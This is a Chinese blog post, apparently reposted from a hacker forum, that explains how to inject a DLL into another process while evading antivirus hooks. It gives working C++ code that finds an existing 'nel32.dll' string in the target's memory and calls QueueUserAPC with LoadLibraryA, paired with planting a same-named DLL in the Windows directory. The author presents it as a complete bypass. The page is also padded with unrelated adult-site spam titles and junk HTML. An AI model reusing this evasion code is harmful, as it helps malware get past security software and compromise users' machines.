青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉(zhuǎn),開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

繞過主動防御的代碼注入

Posted on 2010-01-08 11:49 S.l.e!ep.¢% 閱讀(410) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

繞過主動防御的代碼注入


繞過主動防御的代碼注入
目前大多數(shù)的殺軟都是hook NtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE來防止代碼注入。

關(guān)于代碼注入Ring3層的方法主要有:

l 遠程線程CreateRemoteThread

l 消息鉤子SetWindowsHookEx

l Ring3 APC QueueUserApc

l 修改線程上下文SetContextThread

其中第一種和第三種方法需要傳入一個param,但是要求這個param必須在目標進程內(nèi)存空間,之前的一些方法比較笨重,直接在目標進程VirtualAllocEx內(nèi)存,然后把希望的參數(shù)內(nèi)容寫入這個內(nèi)存,使用了WriteProcessMemory函數(shù),而這個函數(shù)是被hook的,所以殺軟可以很容易的攔截代碼注入行為。

仔細想想,殺軟的這種防御是很失敗的!原因是為了要一個param,攻擊者完全沒有必要做這么大的動作去目標進程內(nèi)存空間申請內(nèi)存并寫內(nèi)存,我在思考是否可以不用WriteProcessMemory函數(shù)呢?反正我的目的就是得到一個合理的param,并且這個param是在目標進程內(nèi)存空間即可!

思考后,原來一切是這么容易啊,哈哈!樂了我半天~~~

舉個例子:假設我是這樣注入的:

QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;

我想讓上面的param的內(nèi)容是一個“xxx.dll”,就可以了,而且要求這個param是在目標進程內(nèi)存空間

您想到了么?哈哈

答案:直接在目標進程搜索一個這樣的字符串“nel32.dll”就可以啦!因為“kernel32.dll” 這樣的字符串是一定存在的,那么為了和“kernel32.dll” 不一樣,那就隨便使用一下“nel32.dll”,或者“el32.dll”,都是可以的啊!最后在往windows目錄下面撂進入一個nel32.dll,這樣注入大部分殺軟都是不能攔截到的!哈哈!

寫了段程序,做了個試驗,僅測試了下趨勢,完美繞過!其實殺軟稍后測試。。。

DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;

const char szInjectModName[] = "nel32.dll";
DWORD dwLen = strlen(szInjectModName) ;

//////////////////////////////////////////////////////////////////////////
//不寫目標進程的內(nèi)存
//直接在目標進程中搜索出 nel32.dll 這樣的字符串 并注入
//////////////////////////////////////////////////////////////////////////
int bufflen=30000;
char *buffer=(char *)malloc(sizeof(char)*bufflen);
DWORD dwNumberOfBytesRead;
DWORD defaultAddress;
//獲得該進程的基址
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID) ;
if(!hSnapshot)
{
?? printf("CreateToolhelp32Snapshot error!\n");
?? return 0;
}
MODULEENTRY32 me = { sizeof(me) };
???? BOOL fOk =Module32First(hSnapshot,&me);
if(!fOk)
{
?? printf("Module32First error!\n");
?? return 0;
}
???? for (; fOk; fOk = Module32Next(hSnapshot,&me))
???? {
?? printf("%s process module name = %s\n",processName,me.szModule);
???????? // 取得進程模塊基址
?? if(stricmp(me.szModule,processName)==0)
?? {
???? defaultAddress=(DWORD)me.modBaseAddr;
???? printf("%s process module base = 0x%08X\n",processName,defaultAddress);
???? break;
?? }
???? }
//搜索
if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&dwNumberOfBytesRead))
{
?? printf("ReadProcessMemory error!\n");
?? return 0;
}

for(int i=0;i<bufflen-dwLen;i++)
{
?? if(strnicmp(buffer+i,szInjectModName,dwLen)==0)
?? {
???? printf("found nel32.dll already!... %s\n",buffer+i);
???? while (pCurrentTid)
???? {
???? HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid) ;
???
???? if (hThread != NULL)
???? {
?????? //
?????? // 注入DLL到指定進程
?????? //
?????? QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)) ;
???? }
???
???? printf("TID:%d\n", pCurrentTid->dwTid) ;
???? pCurrentTid = pCurrentTid->pNext ;
???? }
???? break;
?? }
}

return 0 ;
}
標題:繞過主動防御的代碼注入 文章來自【獵鷹基地-全國最大的網(wǎng)絡安全技術(shù)論壇】 地址:http://www.lyhacker.cn/bbs,原文地址:http://www.lyhacker.cn/bbs/read-htm-tid-2114.html

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            一区二区三区蜜桃网| 欧美va亚洲va日韩∨a综合色| 黄色影院成人| 亚洲精品一区二| 国产视频观看一区| 亚洲国产精品va在线看黑人 | 一区二区福利| 在线观看一区| 亚洲视频在线观看三级| 一区二区在线观看视频| 一区二区三区日韩精品| 亚洲国产日韩一区| 午夜激情久久久| 亚洲最快最全在线视频| 久久国产精品72免费观看| 亚洲深夜激情| 欧美高清视频在线播放| 久久九九99| 国产精品九色蝌蚪自拍| 亚洲黄一区二区三区| 国产日韩欧美中文在线播放| aa成人免费视频| 亚洲美女黄色| 久久亚洲精品中文字幕冲田杏梨| 午夜在线a亚洲v天堂网2018| 欧美成人亚洲成人日韩成人| 久久综合国产精品台湾中文娱乐网| 欧美特黄a级高清免费大片a级| 亚洲成人在线视频网站| 精品999日本| 欧美在线精品免播放器视频| 性做久久久久久久久| 国产精品白丝av嫩草影院| 亚洲精品久久久久久久久久久久久| 在线观看日韩av先锋影音电影院| 午夜精品一区二区三区四区 | 美女精品在线观看| 久久久久女教师免费一区| 国产精品黄视频| 99国产精品99久久久久久| 亚洲精品视频一区| 欧美成人中文| 亚洲人成网站在线播| 亚洲欧洲视频| 欧美精品激情| 亚洲精品国产精品国自产在线 | 又紧又大又爽精品一区二区| 欧美一级二区| 久久精品视频免费观看| 国产亚洲午夜高清国产拍精品| 亚洲小视频在线观看| 亚洲专区免费| 国产精品有限公司| 欧美一级理论片| 久久免费视频网站| 在线观看av不卡| 免费观看久久久4p| 亚洲精品在线电影| 亚洲永久网站| 国产性色一区二区| 麻豆精品91| 亚洲人成久久| 亚洲自啪免费| 国产原创一区二区| 麻豆freexxxx性91精品| 亚洲人成久久| 欧美一级视频| 国产精品伦一区| 久久av资源网| 欧美成人综合| 在线一区二区日韩| 国产精品日产欧美久久久久| 欧美一级片在线播放| 欧美成人精品在线| 亚洲人成7777| 国产精品热久久久久夜色精品三区 | 性感少妇一区| 欧美激情精品久久久久久大尺度| 亚洲精品国产精品国自产观看浪潮 | 欧美日韩国产在线一区| 亚洲欧美日韩国产综合| 蜜桃av综合| 正在播放欧美视频| 国产中文一区二区| 欧美日本精品一区二区三区| 亚洲欧美日韩第一区 | 91久久夜色精品国产九色| 日韩午夜激情电影| 国产日韩一区二区三区| 欧美成人午夜激情视频| 亚洲影视在线| 亚洲国产精品美女| 欧美在线不卡| 一区二区三区精品在线| 黄色精品一二区| 欧美日韩一区在线播放| 久久久91精品国产一区二区三区| 亚洲精品中文在线| 狂野欧美激情性xxxx| 亚洲一区二区三区高清 | 亚洲国产一区二区精品专区| 国产精品成人播放| 免费视频一区二区三区在线观看| 亚洲一区免费观看| 亚洲精品视频啊美女在线直播| 久久午夜av| 亚洲欧美一区二区三区极速播放| 亚洲人成免费| 尤物精品在线| 国产午夜精品全部视频播放| 欧美午夜免费电影| 欧美精品一区二区三区一线天视频| 欧美一级大片在线观看| 亚洲午夜女主播在线直播| 欧美激情一区二区三区在线| 久久久久久黄| 欧美影院视频| 午夜一区二区三区在线观看 | 亚洲午夜激情在线| 亚洲精品欧美日韩| 亚洲国产毛片完整版 | 国产日韩欧美中文| 国产精品日韩电影| 欧美性猛交一区二区三区精品| 欧美韩国在线| 欧美aⅴ一区二区三区视频| 久久精品综合一区| 久久狠狠亚洲综合| 欧美在线观看视频| 欧美一区二区三区在线观看| 午夜国产精品影院在线观看| 亚洲女人天堂av| 亚洲一区二区三区精品视频| 一区二区91| 正在播放日韩| 亚洲一区在线播放| 亚洲综合大片69999| 亚洲欧美日韩一区二区| 午夜免费日韩视频| 久久精品1区| 久久久久久久久久久久久女国产乱| 久久成人免费日本黄色| 久久精品一区| 久久亚洲一区| 欧美电影免费观看高清完整版| 欧美成人一品| 欧美日韩在线视频观看| 国产精品xxxav免费视频| 国产精品免费电影| 国产日韩精品久久| 一色屋精品视频在线看| 91久久精品日日躁夜夜躁欧美 | 亚洲黄色在线观看| 99伊人成综合| 中文日韩欧美| 午夜在线视频一区二区区别| 欧美自拍丝袜亚洲| 男人的天堂亚洲| 最新中文字幕亚洲| 亚洲小说春色综合另类电影| 欧美一级网站| 欧美成人网在线| 国产精品久久久| 国产一级一区二区| 亚洲精品久久久久久久久久久久| 亚洲无线观看| 久久一区精品| 亚洲日韩成人| 欧美亚洲在线视频| 欧美大色视频| 国产精品一区二区久久久| 国产综合欧美| 99热在这里有精品免费| 欧美一二区视频| 欧美肥婆在线| 亚洲午夜激情免费视频| 久久精品视频va| 欧美精品一区二区视频| 国产日韩av高清| 亚洲精品女人| 久久人人精品| 国产精品99久久99久久久二8 | 美日韩精品视频免费看| 欧美日韩亚洲系列| 又紧又大又爽精品一区二区| 亚洲一区二区三区午夜| 久久综合图片| 在线亚洲自拍| 美女任你摸久久| 国产美女精品一区二区三区| 亚洲日本视频| 久久这里有精品15一区二区三区 | 国产精品久久久久久一区二区三区 | 日韩视频一区二区| 久久精品视频一| 国产乱码精品一区二区三区五月婷| 亚洲国产婷婷综合在线精品| 久久国产精品99国产| 日韩写真在线| 欧美顶级少妇做爰|